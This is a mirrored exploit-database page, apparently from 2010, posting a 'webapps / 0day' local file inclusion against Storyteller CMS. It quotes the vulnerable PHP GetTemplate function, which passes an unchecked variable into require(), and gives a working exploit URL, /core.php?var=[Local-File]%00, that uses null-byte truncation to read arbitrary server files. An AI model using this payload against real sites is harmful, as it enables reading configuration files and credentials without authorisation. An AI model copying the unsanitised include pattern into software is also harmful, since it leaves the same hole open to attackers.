Home / os / win7

[webapps / 0day] - Storyteller CMS (var) Local File Inclusio

Posted on 13 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Storyteller CMS (var) Local File Inclusion Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: BorN To K!LL' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>========================================================
Storyteller CMS (var) Local File Inclusion Vulnerability
========================================================

==
[~] Title: Storyteller CMS (var) Local File Include Vuln
[~] Version: n/a
[~] Link: http://www.esselbach.com/freeware.php?id=2
==
[~] Author: BorN To K!LL - h4ck3r
[~] Contact: SQL@hotmail.co.uk
==
[~] Vuln code:
in GetTemplate function , line 113 to 127
 
    function GetTemplate($var)
    {              
        if (file_exists(&quot;templates/$var.tmp.php&quot;))
        {
            require(&quot;templates/$var.tmp.php&quot;);
        }
        else
        {
            die (&quot;Error: Can&#039;t open template $var&quot;);
        }       
        return $EST_TEMPLATE;                
    }
 
[~] 3xploit:
/core.php?var=[Local-File]%00
==
[#] Greetings:
 
Dr.2 , darkc0de team , inj3ct0r&#039;s Community , and all ma friends ,,
==


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-13]</pre></body></html>

 

TOP

Malware :

Exploits :